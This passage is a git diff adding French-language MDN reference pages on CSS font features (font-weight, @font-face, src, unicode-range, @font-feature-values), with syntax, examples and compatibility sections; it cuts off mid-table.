+<p>Le descripteur CSS <strong><code>font-weight</code></strong> permet aux auteurs d'indiquer les graisses pour les polices fournies dans une règle {{cssxref("@font-face")}}. La propriété <code><a href="/fr/docs/Web/CSS/font-weight">font-weight</a></code> peut être utilisée séparément pour indiquer la graisse des caractères d'un texte (c'est-à-dire s'ils sont en gras, normaux ou plus fins).</p>
+
+<p>Pour une police particulière, les auteurs peuvent télécharger différentes fontes qui utilisent les différents styles d'une même police et alors utiliser le descripteur <code>font-weight</code> afin de définir explicitement le niveau de graisse. La valeur utilisée pour le descripteur est la même que celle qui peut être utilisée pour la propriété.</p>
+
+<p>{{cssinfo}}</p>
+
+<p>Il existe généralement un nombre limité de niveaux de graisse pour une police donnée. Lorsqu'on utilise un niveau de graisse qui n'existe pas, c'est le niveau le plus proche qui est utilisé. Les polices qui ne disposent pas d'une fonte en gras sont généralement synthétisées par l'agent utilisateur (pour empêcher cette synthèse, on pourra utiliser la propriété {{cssxref('font-synthesis')}}).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre>/* Valeurs simples */
+font-weight: normal;
+font-weight: bold;
+font-weight: 400;
+
+/* Valeurs multiples */
+font-weight: normal bold;
+font-weight: 300 500;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>Le niveau de graisse normal (équivaut à la valeur numérique <code>400</code>).</dd>
+ <dt><code>bold</code></dt>
+ <dd>La fonte en gras (équivaut à la valeur numérique <code>700</code>).</dd>
+ <dt><code>&lt;number&gt;</code></dt>
+ <dd>Un nombre (une valeur de type {{cssxref("&lt;number&gt;")}}) comprise entre 1 et 1000 (et incluant ces limites). Plus la valeur est élevée, plus le niveau de graisse utilisé sera important. Certains valeurs communément utilisées possèdent un nom : voir ci-après le tableau de correspondance entre les noms et les valeurs).</dd>
+</dl>
+
+<p>Dans les versions antérieures de la spécification, <code>font-weight</code> n'acceptait que les mots-clés et les valeurs numériques 100, 200, 300, 400, 500, 600, 700, 800 et 900. Les polices qui ne sont pas variables pourront n'utiliser que ces valeurs (les valeurs intermédiaires, ex. 451) seront ramenées à la valeur palier la plus proche.</p>
+
+<p>Avec la spécification CSS Fonts de niveau 4, la syntaxe a été étendue afin que n'importe quel nombre entre 1 and 1000 (au sens large) puisse être utilisé. Les polices variables (voir plus bas) ont aussi été introduites et on peut donc avoir un contrôle plus précis sur le niveau de graisse utilisé.</p>
+
+<h3 id="Correspondance_entre_les_noms_et_les_valeurs_numériques">Correspondance entre les noms et les valeurs numériques</h3>
+
+<p>Les valeurs numériques entre <code>100</code> et <code>900</code> correspondent (approximativement) à ces noms communément utilisés :</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Valeur</th>
+   <th scope="col">Nom commun</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>100</td>
+   <td>Thin (Hairline)</td>
+  </tr>
+  <tr>
+   <td>200</td>
+   <td>Extra Light (Ultra Light)</td>
+  </tr>
+  <tr>
+   <td>300</td>
+   <td>Light</td>
+  </tr>
+  <tr>
+   <td>400</td>
+   <td>Normal</td>
+  </tr>
+  <tr>
+   <td>500</td>
+   <td>Medium</td>
+  </tr>
+  <tr>
+   <td>600</td>
+   <td>Semi Bold (Demi Bold)</td>
+  </tr>
+  <tr>
+   <td>700</td>
+   <td>Bold</td>
+  </tr>
+  <tr>
+   <td>800</td>
+   <td>Extra Bold (Ultra Bold)</td>
+  </tr>
+  <tr>
+   <td>900</td>
+   <td>Black (Heavy)</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Polices_variables">Polices variables</h3>
+
+<p>La plupart des polices se déclinent en fontes avec des niveaux de graisses distincts. Toutefois, certaines polices, appelées polices variables, permettent d'utiliser des niveaux de graisse intermédiaires plus ou moins finement. On peut ainsi obtenir une fonte d'un niveau de graisse plus précis.</p>
+
+<p>Pour les polices variables TrueType ou OpenType, c'est l'axe de variation <code>"wght"</code> qui est utilisé afin d'implémenter ces largeurs variables.</p>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre>{{csssyntax}}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple suivant, on récupère une police Open Sans et on l'importe en utilisant le niveau de graisse normal.</p>
+
+<pre>@font-face {
+  font-family: "Open Sans";
+  src: local("Open Sans") format("woff2"),
+       url("/fonts/OpenSans-Regular-webfont.woff") format("woff");
+  font-weight: 400;
+}</pre>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Pour les personnes ayant une vision faible, il peut être extrêmement difficile de lire un texte avec <code>font-weight</code> qui vaut <code>100</code> ou <code>200</code>, notamment <a href="/fr/docs/Web/CSS/color#Accessibilité">si le contraste entre le texte et l'arrière-plan est faible</a>.</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">Comprendre les règles WCAG 1.4</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-visual-presentation.html" rel="noopener"><em>Understanding Success Criterion 1.4.8 - W3C Understanding WCAG 2.0</em> (en anglais)</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Fonts', '#font-prop-desc', 'font-weight')}}</td>
+   <td>{{Spec2('CSS4 Fonts')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#font-prop-desc', 'font-weight')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.font-face.font-weight")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><code><a href="/fr/docs/Web/CSS/font-weight">font-weight</a></code></li>
+ <li>{{cssxref("@font-face/font-display", "font-display descriptor")}}</li>
+ <li>{{cssxref("@font-face/font-family", "font-family descriptor")}}</li>
+ <li>{{cssxref("@font-face/font-stretch", "font-stretch descriptor")}}</li>
+ <li>{{cssxref("@font-face/font-style", "font-style descriptor")}}</li>
+ <li>{{cssxref("@font-face/font-variant", "font-variant descriptor")}}</li>
+ <li>{{cssxref("font-feature-settings", "font-feature-settings")}}</li>
+ <li>{{cssxref("@font-face/font-variation-settings", "font-variation-settings")}}</li>
+ <li>{{cssxref("@font-face/src", "src")}}</li>
+ <li>{{cssxref("@font-face/unicode-range", "unicode-range descriptor")}}</li>
+</ul>
diff --git a/files/fr/web/css/@font-face/index.html b/files/fr/web/css/@font-face/index.html
new file mode 100644
index 0000000000..9e55c634fb
--- /dev/null
+++ b/files/fr/web/css/@font-face/index.html
@@ -0,0 +1,190 @@
+---
+title: '@font-face'
+slug: Web/CSS/@font-face
+tags:
+  - CSS
+  - Reference
+  - Règle @
+translation_of: Web/CSS/@font-face
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/R%C3%A8gles_@">règle @</a> <strong><code>@font-face</code></strong> permet de définir les polices d'écriture à utiliser pour afficher le texte de pages web. Cette police peut être chargée depuis un serveur distant ou depuis l'ordinateur de l'utilisateur. Si la fonction <code>local()</code> est utilisée, elle indique à l'agent utilisateur de prendre en compte une police présente sur le poste de l'utilisateur.</p>
+
+<p>En permettant aux auteurs de fournir leurs propres polices, il n'est plus nécessaire de dépendre uniquement des polices qui sont installées sur les postes des utilisateurs.</p>
+
+<p>Il est courant d'utiliser les deux formes <code>url()</code> et <code>local()</code> afin de pouvoir utiliser une police locale si elle est disponible ou d'en télécharger une autre au cas où.</p>
+
+<p>La règle <code>@font-face</code> peut être utilisée au niveau global d'une feuille de style et également au sein d'un groupe lié à <a href="/fr/docs/Web/CSS/Règles_@">une règle @ conditionnelle</a>.</p>
+
+<pre class="brush: css no-line-numbers">@font-face {
+ font-family: "Open Sans";
+ src: url("/fonts/OpenSans-Regular-webfont.woff2") format("woff2"),
+        url("/fonts/OpenSans-Regular-webfont.woff") format("woff");
+}</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Descripteurs">Descripteurs</h3>
+
+<dl>
+ <dt>{{cssxref("@font-face/font-display", "font-display")}}</dt>
+ <dd>Ce descripteur détermine la façon dont une fonte est affichée selon qu'elle a été téléchargée et/ou si elle est prête à être utilisée.</dd>
+ <dt>{{cssxref("@font-face/font-family", "font-family")}}</dt>
+ <dd>Ce descripteur définit un nom qui sera utilisé pour désigner cette police dans les différentes règles associées.</dd>
+ <dt>{{cssxref("@font-face/font-stretch", "font-stretch")}}</dt>
+ <dd>Une valeur {{cssxref("font-stretch")}}. Depuis Firefox 61 et pour les navigateurs récents, il est possible d'utiliser deux valeurs afin d'indiquer l'intervalle pris en charge par une fonte, par exemple : <code>font-stretch: 50% 200%;</code>.</dd>
+ <dt>{{cssxref("@font-face/font-style", "font-style")}}</dt>
+ <dd>Une valeur {{cssxref("font-style")}}. Depuis Firefox 61 et pour les navigateurs récents, il est possible d'utiliser deux valeurs afin d'indiquer l'intervalle pris en charge par une fonte, par exemple : <code>font-style: oblique 20deg 50deg;</code>.</dd>
+ <dt>{{cssxref("@font-face/font-variant", "font-variant")}}</dt>
+ <dd>Une valeur {{cssxref("font-variant")}}.</dd>
+ <dt>{{cssxref("@font-face/font-weight", "font-weight")}}</dt>
+ <dd>Une valeur {{cssxref("font-weight")}}. Depuis Firefox 61 et pour les navigateurs récents, il est possible d'utiliser deux valeurs afin d'indiquer l'intervalle pris en charge par une fonte, par exemple : <code>font-weight: 100 400;</code>.</dd>
+ <dt>{{cssxref("font-feature-settings", "font-feature-settings")}}</dt>
+ <dd>Ce descripteur permet d'avoir un contrôle avancé sur les fonctionnalités typographiques relatives aux fontes OpenType.</dd>
+ <dt>{{cssxref("@font-face/font-variation-settings", "font-variation-settings")}}</dt>
+ <dd>Ce descripteur permet d'avoir un contrôle de bas niveau sur les variations des polices OpenType et TrueType en indiquant les nom des axes et des fonctionnalités à faire varier.</dd>
+ <dt>{{cssxref("@font-face/src", "src")}}</dt>
+ <dd>
+ <p>Indique la ressource qui contient les données pour la police d'écriture. Cela peut être une URL vers un fichier distant ou le nom d'une police de caractères présente sur l'ordinateur de l'utilisateur.</p>
+
+ <p>On peut fournir une indication de format au navigateur (afin que celui-ci sélectionne celui qui lui convient le mieux) sous la forme d'une fonction <code>format()</code> qui contient le type comme argument :</p>
+
+ <pre class="brush: css">src: url(ideal-sans-serif.woff) <strong>format("woff")</strong>,
+     url(basic-sans-serif.ttf) <strong>format("truetype")</strong>;</pre>
+
+ <p>Les types utilisables sont : <code>"woff"</code>, <code>"woff2"</code>, <code>"truetype"</code>, <code>"opentype"</code>, <code>"embedded-opentype"</code> et <code>"svg"</code>.</p>
+ </dd>
+ <dt>{{cssxref("@font-face/unicode-range", "unicode-range")}}</dt>
+ <dd>L'intervalle des points de code Unicode pour lesquels la règle  <code>@font-face</code> s'applique.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Police_distante">Police distante</h3>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">@font-face {
+  font-family: "Bitstream Vera Serif Bold";
+  src: url("/static/styles/libs/font-awesome/fonts/fontawesome-webfont.fdf491ce5ff5.woff");
+}
+
+body {
+  font-family: "Bitstream Vera Serif Bold", serif;
+} </pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt; Et voici Bitstream Vera Serif Bold.&lt;/p&gt;
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Police_distante")}}</p>
+
+<h3 id="Police_locale">Police locale</h3>
+
+<p>Ici, l'agent utilisateur tente d'utiliser la police Helvetica Neue Bold ou HelveticaNeue-Bold si elle existe sur l'ordinateur de l'utilisateur. Sinon, il utilise la police distante MgOpenModernaBold.ttf.</p>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">@font-face {
+  font-family: MaHelvetica;
+  src: local("Helvetica Neue Bold"),
+       local("HelveticaNeue-Bold"),
+       url(MgOpenModernaBold.ttf);
+  font-weight: bold;
+}</pre>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt; Et voici Ma Helvetica.&lt;/p&gt;
+</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Police_locale")}}</p>
+
+<h2 id="Types_MIME_associés_aux_polices">Types MIME associés aux polices</h2>
+
+<p>Voici, selon les différents formats de police, les types MIME associés :</p>
+
+<dl>
+ <dt>TrueType</dt>
+ <dd><code>font/ttf</code></dd>
+ <dt>OpenType</dt>
+ <dd><code>font/otf</code></dd>
+ <dt>Web Open File Format</dt>
+ <dd><code>font/woff</code></dd>
+ <dt>Web Open File Format 2</dt>
+ <dd><code>font/woff2</code></dd>
+</dl>
+
+<h2 id="Notes">Notes</h2>
+
+<ul>
+ <li>Les restrictions d'origine (même domaine) s'appliquent également sur les polices web sauf si <a href="/fr/docs/HTTP/Access_control_CORS">les contrôles d'accès HTTP</a> sont paramétrés afin de lever cette restriction.</li>
+ <li><code>@font-face</code> ne peut pas être déclaré au sein d'un sélecteur CSS. Ainsi l'exemple suivant ne fonctionnera pas :
+  <pre class="brush: css example-bad">.nomClasse {
+  @font-face {
+    font-family: MyHelvetica;
+    src: local("Helvetica Neue Bold"),
+         local("HelveticaNeue-Bold"),
+         url(MgOpenModernaBold.ttf;
+    font-weight: bold;
+  }
+}</pre>
+ </li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WOFF2.0', '', 'WOFF2 font format')}}</td>
+   <td>{{Spec2('WOFF2.0')}}</td>
+   <td>Spécification du format de police avec un nouvel algorithme de compression.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('WOFF1.0', '', 'WOFF font format')}}</td>
+   <td>{{Spec2('WOFF1.0')}}</td>
+   <td>Spécification du format de police.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#font-face-rule', '@font-face')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.at-rules.font-face")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/Guide/WOFF">À propos de WOFF</a></li>
+ <li><a href="https://everythingfonts.com/font-face">Le générateur de règles <code>@font-face</code> par Everythingfonts </a></li>
+ <li><a href="https://www.fontsquirrel.com/tools/webfont-generator">Le générateur de règles @font-face par FontSquirrel</a></li>
+ <li><a href="http://hacks.mozilla.org/2009/06/beautiful-fonts-with-font-face/">Des polices obtenues avec <code>@font-face</code> (en anglais, sur hacks.mozilla.org)</a></li>
+ <li><a href="http://openfontlibrary.org/">Une bibliothèque de polices ouvertes (<em>Open Font Library</em>)</a></li>
+ <li><a href="http://caniuse.com/woff">Où puis-je utiliser WOFF ? (en anglais sur caniuse.com)</a></li>
+ <li><a href="http://caniuse.com/svg-fonts">Où puis-je utiliser les polices SVG ?</a></li>
+</ul>
diff --git a/files/fr/web/css/@font-face/src/index.html b/files/fr/web/css/@font-face/src/index.html
new file mode 100644
index 0000000000..ff77ace03b
--- /dev/null
+++ b/files/fr/web/css/@font-face/src/index.html
@@ -0,0 +1,85 @@
+---
+title: src
+slug: Web/CSS/@font-face/src
+tags:
+  - CSS
+  - Descripteur
+  - Reference
+translation_of: Web/CSS/@font-face/src
+---
+<div>{{CSSRef}}</div>
+
+<p>Le descripteur <strong><code>src</code></strong>, associé à la règle @ {{cssxref("@font-face")}}, permet de définir la ressource qui contient les données relatives à une police de caractères. Ce descripteur est obligatoire afin que la règle <code>@font-face</code> soit considérée comme valide.</p>
+
+<p>Sa valeur est composée d'une liste de noms séparés par des virgules, ordonnés par priorité dont chacun fait référence à une police de caractères externe ou locale. Lorsqu'une police doit être utilisée, l'agent utilisateur parcourt la liste de ces références et utilise la première police qui peut être chargée correctement. Si la police de caractères contient des données invalides ou si le nom ne correspond à aucune police de caractères, l'agent utilisateur passe à la suivante.</p>
+
+<p>Là aussi, les URL utilisées peuvent être relatives. Dans le cas où une URL relative est utilisée, elle est résolue grâce à l'emplacement de la feuille de styles qui contient la règle <code>@font-face</code>. Pour les polices SVG, l'URL pointe vers un élément du document qui contient les définitions SVG de la police. Si l'élément de référence est absent, une référence implicite sera construite avec la première police définie. De même, pour les formats contenant plusieurs polices, seule une police est chargée pour une règle <code>@font-face</code> donnée. Les identifiants de fragment de l'URL peuvent être utilisés pour indiquer la police à charger. Si le format conteneur ne possède pas de schéma d'identification des fragments, ce sera un schéma simple d'indexation (ex. "font-collection#1" pour la première police, "font-collection#2" pour la seconde, etc.) qui sera utilisé.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* &lt;url&gt; */
+src: url(https://unsiteweb.com/chemin/vers/police.woff); /* URL absolue */
+src: url(chemin/vers/police.woff);                       /* URL relative */
+src: url(chemin/vers/police.woff) format("woff");        /* format explicite */
+src: url('chemin/vers/police.woff');                     /* URL entre quotes */
+src: url(chemin/vers/policesvg.svg#exemple);             /* fragment identifiant une police */
+
+/* Valeurs de type &lt;font-face-name&gt; */
+src: local(police);      /* nom sans double quote */
+src: local(une police); /* nom avec espace */
+src: local("police");    /* nom entre double quotes */
+
+/* Liste avec plusieurs éléments */
+src: local(police), url(chemin/vers/police.svg) format("svg"),
+    url(chemin/vers/police.woff) format("woff"),
+    url(chemin/vers/police.otf) format("opentype");
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;url&gt; [ format( &lt;string&gt;# ) ]?</code></dt>
+ <dd>Définit une référence externe, composée d'une URL et d'une indication optionnelle quant au format de la police chargée via cette URL. L'indication de format contient une liste de chaînes de caractères dont chacune doit correspondre à un format de police connu. Si un agent utilisateur ne prend pas en charge le format indiqué, il ne téléchargera pas la ressource liée à la police. Si aucune indication de format n'est fournie, la ressource associée est toujours téléchargée.</dd>
+ <dt><code>&lt;font-face-name&gt;</code></dt>
+ <dd>Définit le nom d'une police installée localement grâce à la fonction <code>local()</code> qui permet d'identifier une police de caractères au sein d'une famille de polices. Le nom de la police peut être entre double quotes.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css">@font-face {
+  font-family: policeexemple;
+  src: local(Police Exemple), url('policeexemple.woff') format("woff"),
+      url('policeexemple.otf') format("opentype");
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#src-desc', 'src')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.at-rules.font-face.src")}}</p>
diff --git a/files/fr/web/css/@font-face/unicode-range/index.html b/files/fr/web/css/@font-face/unicode-range/index.html
new file mode 100644
index 0000000000..e8eec9242d
--- /dev/null
+++ b/files/fr/web/css/@font-face/unicode-range/index.html
@@ -0,0 +1,109 @@
+---
+title: unicode-range
+slug: Web/CSS/@font-face/unicode-range
+tags:
+  - CSS
+  - Descripteur
+  - Experimental
+  - Reference
+translation_of: Web/CSS/@font-face/unicode-range
+---
+<div>{{cssref}}</div>
+
+<p>Le descripteur <strong><code>unicode-range</code></strong>, associé à la règle @ {{cssxref("@font-face")}}, définit l'intervalle de caractères qui peuvent être représentés par cette police pour la page. Si la page n'utilise aucun caractère de cet intervalle, la police n'est pas téléchargée. Si, au contraire, elle utilise au moins un caractère appartenant à cet intervalle, toute la police est téléchargée.</p>
+
+<p>Le but de ce descripteur est de segmenter les ressources liées aux polices afin que le navigateur puisse ne télécharger que les polices dont il a besoin pour le texte d'un document. Ainsi, un site disposant de nombreuses traductions pourrait proposer des ressources distinctes pour l'anglais, le grec et le japonais et seules les ressources nécessaires (dont les fichiers de polices) seraient téléchargées.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css">/* Valeurs &lt;unicode-range&gt; */
+unicode-range: U+26;                 /* un seul point de code         */
+unicode-range: U+0-7F;
+unicode-range: U+0025-00FF;          /* un intervalle spécifique      */
+unicode-range: U+4??;                /* un intervalle de substitution */
+unicode-range: U+0025-00FF, U+4??;   /* plusieurs valeurs             */
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<p>Une valeur de type <code>&lt;unicode-range&gt;</code> peut se présenter de trois façons différentes :</p>
+
+<ul>
+ <li>un seul point de code
+  <ul>
+   <li>Ex : <code>U+26</code></li>
+  </ul>
+ </li>
+ <li>un intervalle spécifique de points de code
+  <ul>
+   <li>Ex : <code>U+0025-00FF</code> indique que l'intervalle contient tous les caractères contenus entre les points de code <code>U+0025</code> et <code>U+00FF</code></li>
+  </ul>
+ </li>
+ <li>un intervalle de substitution indiqué par <code>?</code>
+  <ul>
+   <li>Un intervalle de points de code Unicode indiqué par une valeur contenant un point d'interrogation. Ainsi, <code>U+4??</code> signifie « tous les caractères contenus dans l'intervalle entre les points de code <code>U+400</code> et <code>U+4FF</code>).</li>
+  </ul>
+ </li>
+</ul>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans cet exemple, on crée un élément HTML {{HTMLElement("div")}} pour lequel on veut que l'esperluette soit mise en forme avec une police différente. Pour que le résultat soit apparent, on utilisera une police sans empattement pour le texte (<em>Helvetica</em>) et une police avec des empattements (<em>Times New Roman</em>) pour l'esperluette.</p>
+
+<h3 id="CSS">CSS</h3>
+
+<p>Dans la feuille de style CSS, on définit une règle {{cssxref("@font-face")}} qui n'inclue qu'un seul caractère. Cela signifie que seul ce caractère sera affiché avec cette police. On aurait également pu encadrer l'esperluette dans un élément {{HTMLElement("span")}} et appliquer une autre règle sur cet élément mais on aurait alors eu un balisage plus lourd et une règle spécifique en plus sur la feuille de style.</p>
+
+<pre class="brush: css">@font-face {
+  font-family: 'Ampersand';
+  src: local('Times New Roman');
+  unicode-range: U+26;
+}
+
+div {
+  font-size: 4em;
+  font-family: Ampersand, Helvetica, sans-serif;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;Me &amp; You = Us&lt;/div&gt;</pre>
+
+<h3 id="Résultat_de_référence_(image_statique)">Résultat de référence (image statique)</h3>
+
+<p><img src="https://mdn.mozillademos.org/files/6043/Refresult.png"></p>
+
+<h3 id="Résultat_du_navigateur">Résultat du navigateur</h3>
+
+<p>{{EmbedLiveSample("Exemples", 500,104)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#descdef-font-face-unicode-range', 'unicode-range')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.at-rules.font-face.unicode-range")}}</p>
diff --git a/files/fr/web/css/@font-feature-values/index.html b/files/fr/web/css/@font-feature-values/index.html
new file mode 100644
index 0000000000..4353939675
--- /dev/null
+++ b/files/fr/web/css/@font-feature-values/index.html
@@ -0,0 +1,91 @@
+---
+title: '@font-feature-values'
+slug: Web/CSS/@font-feature-values
+tags:
+  - CSS
+  - Reference
+  - Règle @
+translation_of: Web/CSS/@font-feature-values
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Règles_@">règle @</a> <strong><code>@font-feature-values</code></strong> permet aux auteurs d'utiliser un nom personnalisé dans une règle utilisant la propriété {{cssxref("font-variant-alternates")}} afin de régler finement les caractéristiques OpenType. Elle permet de simplifier les feuilles de style lorsqu'on utilise plusieurs polices.</p>
+
+<pre class="brush: css">@font-feature-values Font One {
+/* On active la caractéristique nice-style
+   sur Font One */
+  @styleset {
+    nice-style: 12;
+  }
+}
+
+@font-feature-values Font Two {
+/* On active la caractéristique nice-style
+   sur Font Two */
+  @styleset {
+    nice-style: 4;
+  }
+}
+
+…
+/* Indépendamment de la police */
+.nice-look {
+  font-variant-alternates: styleset(nice-style);
+}
+</pre>
+
+<p>La règle @ <code>@font-feature-values</code> peut être utilisée au plus haut niveau d'une feuille de style et aussi au sein <a href="/fr/docs/Web/CSS/Règles_@" title="CSS/At-rule#Conditional_Group_Rules">d'un groupe de règles conditionnelles</a>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Blocs_liés_aux_caractéristiques">Blocs liés aux caractéristiques</h3>
+
+<dl>
+ <dt><a name="@swash"><code>@swash</code></a></dt>
+ <dd>Indique le nom d'une caractéristique qui fonctionnera avec la notation fonctionnelle {{cssxref("font-variant-alternates", "swash()", "#swash()")}}. Une telle caractéristique est définie avec une seule valeur : <code>ident1: 2</code> est valide alors que <code>ident2: 2 4</code> est invalide.</dd>
+ <dt><a name="@annotation"><code>@annotation</code></a></dt>
+ <dd>Indique le nom d'une caractéristique qui fonctionnera avec la notation fonctionnelle {{cssxref("font-variant-alternates", "annotation()", "#annotation()")}}. Une telle caractéristique est définie avec une seule valeur : <code>ident1: 2</code> est valide alors que <code>ident2: 2 4</code> est invalide.</dd>
+ <dt><a name="@ornaments"><code>@ornaments</code></a></dt>
+ <dd>Indique le nom d'une caractéristique qui fonctionnera avec la notation fonctionnelle {{cssxref("font-variant-alternates", "ornaments()", "#ornaments()")}}. La caractéristique d'ornement est définie avec une seule valeur : <code>ident1: 2</code> est valide alors que <code>ident2: 2 4</code> est invalide.</dd>
+ <dt><a name="@stylistic"><code>@stylistic</code></a></dt>
+ <dd>Indique le nom d'une caractéristique qui fonctionnera avec la notation fonctionnelle {{cssxref("font-variant-alternates", "stylistic()", "#stylistic()")}}. Une telle caractéristique est définie avec une seule valeur : <code>ident1: 2</code> est valide alors que <code>ident2: 2 4</code> est invalide.</dd>
+ <dt><a name="@styleset"><code>@styleset</code></a></dt>
+ <dd>Indique le nom d'une caractéristique qui fonctionnera avec la notation fonctionnelle {{cssxref("font-variant-alternates", "styleset()", "#styleset()")}}. Plusieurs valeurs peuvent être utilisées pour cette caractéristique : <code>ident1: 2 4 12 1</code> correspondra aux valeurs OpenType <code>ss02</code>, <code>ss04</code>, <code>ss12</code>, <code>ss01</code>. Les valeurs supérieures à <code>99</code> sont valides mais ne correspondent à aucune valeur OpenType et sont donc ignorées.</dd>
+ <dt><a name="@character-variant"><code>@character-variant</code></a></dt>
+ <dd>Indique le nom d'une caractéristique qui fonctionnera avec la notation fonctionnelle {{cssxref("font-variant-alternates", "character-variant()", "#character-variant()")}}. Pour cette définition, on peut utiliser une ou deux valeurs : <code>ident1: 2</code>  correspond à <code>cv02=1</code> et <code>ident2: 2 4</code> correspond à  <code>cv02)4</code>, en revanche <code>ident2: 2 4 5</code> est invalide.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
